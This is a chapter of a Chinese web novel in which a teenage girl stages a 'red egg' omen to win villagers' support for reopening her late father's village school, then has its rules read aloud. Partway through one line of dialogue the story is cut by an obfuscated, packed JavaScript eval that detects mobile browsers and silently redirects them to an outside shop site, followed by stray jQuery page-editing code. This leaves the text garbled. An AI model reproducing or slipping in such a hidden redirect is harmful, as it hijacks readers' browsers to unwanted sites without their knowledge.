4. 开业大吉
    她向杨天辰传达的信息是,辰时有文曲星下凡。

    所以她卯时二刻就打着哈欠出门了,昨夜再次睡了不到四个时辰,困。

    沿着小路向朝阳初升的方向走,一路上先经过杨二姨家租种的几亩地,未收的稻子迎着光轻摇,一向辛勤的二姨和姨丈却都不在。

    再向前,是近邻杨春生王秀夫妇家里侍弄的地块,二人育有二女一子,长子已经及冠,读书未第,年纪上又亟待娶妻,夫妇俩担子重,往往辰时就出门了,这会儿竟也不见。

    “奇了怪了。”应随星加快步伐,除了好奇,她心中更存有一种隐约的期待。

    万一,万一运气好呢?

    走近学堂,应随星远远地就看见闹闹嚷嚷一大群人,老少都有,她顿时松了一口气,时运尚佳。以及格格不入的两位贺家郎君正在太阳底下闪闪发光,看样子杨春生夫妇好心收留了他们,而且瞧杨春生脸上的笑意,估计贺迩昨晚散出去的远不止五两银子。

    再近些,应随星听清楚了,确实有人在吵闹。

    “小兔崽子!一天天的不学好,净编瞎话。你睁大眼看看,哪有红鸡蛋?”

    是先前见过的大个儿正被他娘追着打,吓得其他小孩儿瑟瑟发抖,想往爹娘身后躲,又担心贸然一动引起他们的注意,也挨上一顿竹笋炒肉。

    大个儿瞥见应随星,立刻在娘亲的手下挣扎起来,指着应随星辩白:“不是我,都是她说的!不信你问杨天辰,娘,别打啦!”

    杨天辰正被杨二姨虚虚揽在怀里,突然被点名吓得一激灵。杨二姨怀疑地看着儿子:“真是你阿星姐姐告诉你有红鸡蛋、还告诉你是文曲星下凡?”

    大个儿娘住手了,大个儿也不叫了,周遭的眼神也向杨天辰投来。

    他们可都是听自家孩子说了这回事才来凑热闹的,尽管他们自家的儿郎未必上过一日学,尽管传言真假暂且不论,但无一不想好了:要是做大官的吉兆落在家里,各人从牙缝里省一口饭也要给孩子找个先生教。

    天上的文曲星只有一个,地上的红鸡蛋应该也只有一个,你家有了,我家定然没有。

    所以,得知孩子先于爹娘还告诉了不少人,性子急的抄起笤帚便顺手给孩子来了几下。

    杨天辰嗫嚅着回答:“是阿星姐姐说的,但她、但她说……”

    “说什么了?”杨二姨的声音中带上一点儿急切。

    “她说不让我告诉别人。”杨天辰深吸一口气,转向大个儿道,“杨余庆,不是说好了就咱们好兄弟知道吗?”

    杨余庆没敢接话。

    谁知道大人们真的会信啊!

    应随星双手抱臂,好整以暇地走上前,愉快地和杨二姨打了个招呼。

    “阿星,二姨相信你是好孩子,鸡蛋确实也有,只是咱们都没见着红色的呀。”杨二姨扶住应随星的胳膊,应随星瞄到杨二姨挎着的篮子里有三个鸡蛋,其余人的筐里篮里也多多少少有一些,她默默心痛了一瞬:多亏应至舒生前养了三只老母鸡,舍不得吃舍不得用地攒下来半筐鸡蛋,这下全让她散出去了。

    应随星故作为难状,把这副表情对着前排的每个人展示了一遍,“二姨,我说实话,这事儿是我夜里梦见的,神仙说了,要知会什么‘最要紧的人’。念着你们平日里对我好,我才紧赶慢赶地告诉表弟的,我也不知道现在这么多人来,神仙会不会一生气就不显灵了?”

    “切,这也有人信?”贺遥站在不远不近处,把应随星这番解释听了个真真切切,他是爱编点神啊鬼啊的吓唬小孩,但可从来没编出应随星这般没有水平的故事来。

    果然,杨余庆头一个跳出来:“你骗人!其实本来就没有……”

    “马上到辰时了,不然大家先盯好草堆,等一等,可能是时候未到呢?”应随星打断他的话,将众人的注意力引到地面上。

    “贺公子,又见面了。”应随星走到贺迩贺遥兄弟身旁,笑盈盈道,“你既然信山野精怪,怎的不信文曲星下凡么?”

    贺遥撇撇嘴:“不信。况且即便真有文曲星,也非得附身在我哥身上不可。”

    “阿遥,不可妄言。”贺迩用手肘轻轻撞了一下弟弟,“我记得姑娘曾说这世上无鬼无神,今日怎么传起灵异之事了?”

    “我昨天是不信。庄周梦蝶,尚不分我与蝴蝶,我梦神仙,公子安知梦耶?非耶?”应随星眨一下眼,贺遥听得似懂非懂,眼前却不知被什么晃了一下,有些恍惚。

    究竟是什么呢?

    “诶?诶!”杨春生在三人身后突然叫嚷起来,听声音是又惊又喜。

    贺遥循声看去——

    杨春生的篮子里,赫然多出一颗通体赤红的鸡蛋。

    朴实的农人眼眶一下子湿润了,他和妻子劳碌半生,勒紧裤腰带也坚持供儿子上学,从来与人为善,不做恶事,老天有眼,风水可算轮到他杨春生家里了!

    “王秀,王秀,你看,红鸡蛋!”杨春生激动得话都快要说不利索了,连忙拉住妻子,“我就说咱家柏儿能有出息!你早上还说什么不来不来,不来文曲星能落到咱家里吗?”

    “诸位乡亲!”贺遥还在琢磨红鸡蛋的事,没注意应随星什么时候溜到了学堂门口,此刻正用双手环在嘴边模仿喇叭,“如此看来,神仙下凡是真的!其实神仙还嘱咐我一件事!”

    刚刚见证过文曲星显灵的众人是不信也信了,纷纷竖耳听着。

    “神仙交代我,须得子承父业,在咱们溪头村把学堂接着开起来,相当于立了个招牌,他才能时时刻刻保佑咱们村!”

    “此故,我连夜写了一份学堂规章,这学堂以后怎么招收学生、怎么教书都写得明明白白。”

    应随星抖开宣纸,挂在学堂门上,照着贺迩的样子行了一个男子的揖礼:“贺大公子,你是无干系的外人,又是读书人,烦请你读给诸位听一听吧。”

    贺迩大大方方并不推辞,用清朗的音色念起来:

    第一,凡有心向学者,皆可入折桂学堂修习。

    第二,束脩之法:家有田产而入学者,每生每年每亩需交纳束脩一斗米或等价钱物,入学之日交齐;家无产业或租种他人田地者,束脩可视余力而纳,每年升米以上,多少不论,时间不限,要在求学之心诚。

    第三,授课之法:凡折桂学堂学生,辰初入读,酉末散学,略无休整,诸生须自备日间饭食。

    第四,考核之法:凡折桂学堂学生,逢试必考,非试自测。

    ……

    别的再听不懂,租户几乎不用出束脩就能上学,这一条可是听明白了。

    溪头村的地大多是城里城外大小地主的,八成都是租户,每年除朝廷之税外,还要额外向地主交租子。余粮有限,学费又贵这一条,不知拦下了多少学生。

    在场有人欣喜,有人不解,有人怀疑,而面色最沉重的,当属姨丈杨明。

    “阿星,你这不是胡闹吗?上学是大事,耽搁了人家孩子可怎么

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14289521|152088||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    好?”杨明黑着脸,忍下讲更难听的话的冲动。

    应随星不疾不徐道:“老天既然把这事儿托付给了我,想来是看中我爹从前对我多有教导,相信我能当好这个教书先生,那么请诸位乡亲也相信我一回。”

    “姨丈觉得,整个溪头村,还有谁比我这个秀才兼教书先生的女儿更能开得起学堂?换了旁人,岂不更误人子弟?”

    一切准备工作都做到最好,话说到最完满,应随星依旧听到了窸窸窣窣的议论,依旧从所有人的脸上看出了不信任。

    不信任她一个十三四岁的小姑娘。

    “她这是闹着玩还是真的呀?收这么点束脩,能信么?”

    “一个黄毛丫头,自己的学识不见得有几斤几两,还想当夫子,我看悬。”

    “散了吧散了吧,我家稻谷没收完呢。”

    “可是神仙都选她托梦了……”

    “那文曲星也不在咱家,神仙找谁就让谁先来试试!”

    她自嘲地摇头,换她自己也不会托付信任吧。

    后退是会传染的,零零星星有人离去,紧挨着的人便足尖向外挪动了。眼看着人群在议论声中越来越散,应随星宣布加上一条:“前三位入学者,免费就读。”

    这下有几个人停下脚步,回身打量起应随星。

    打量半刻,还是走了。

    杨明见不成气候,也放心地回去收稻了。

    最后留下的,唯杨二姨、杨穗与不相干的闲人两个。

    杨穗是杨春生的双胞胎女儿中年长的那个,和应随星很是要好,至少和之前的应随星要好,此时她静静地站在应随星身边,拍着她的后背。

    应随星感受到了无声的安慰,回握住她的手,意思是别担心。

    “阿星,二姨知道你有孝心,但你毕竟是女孩子家,这种事做不成也没什么的,试也试过了,自个儿不留遗憾就成。”杨二姨抬手把应随星的一缕碎发别到耳后,“跟二姨回家吧,不喜欢史家那小伙子,二姨再给你物色别家的。学堂什么的,还是交给你姨丈的兄弟来办,你少操心,是福气。”

    杨穗坚定地支持应随星做所有她想做的事,但也多有不理解:“是呀星星,你做这一遭,是挺累的,也不讨巧。”

    应随星没有辩解,只是让二人不必多开解她,不必为她忧心,回去做自己的事情便好,她想自己待一会儿,一会儿就回去。

    “那你要是难过,一定来找我,我在家等你!”杨穗附在应随星耳边,温言道。

    她忍不住为小姐妹的情谊动容。

    “难怪你不听我讲秘密呢,原来就是你传出来的。”贺遥悄悄挪到应随星旁边,若有所思地看着杨二姨和杨穗一步三回头的身影,“你别气馁,主要是你做的这事儿太难了,别说你一个小姑娘,让我来也不一定成的。”

    “你看我像气馁的样子吗?”应随星卸去方才的愁容,恢复了一开始抱臂的姿势。

    贺迩尚在回味令他耳目一新的学堂规章,插话进来:“姑娘的学堂规章,倒是新奇,我从未见过。”

    贺遥头点得如小鸡啄米:“是没见过要从辰初待到酉末的,太久了些!”

    “溪头村少良师,少好书,少学问,因此不得不用时间换取效率。”应随星嘴上回答着,而眼睛因为朝她走来的一个人亮了起来。

    “看见了吗?有人来了。”

    那个人绝对是冲着她,和她的学堂来的。

    与哄散的人流相反。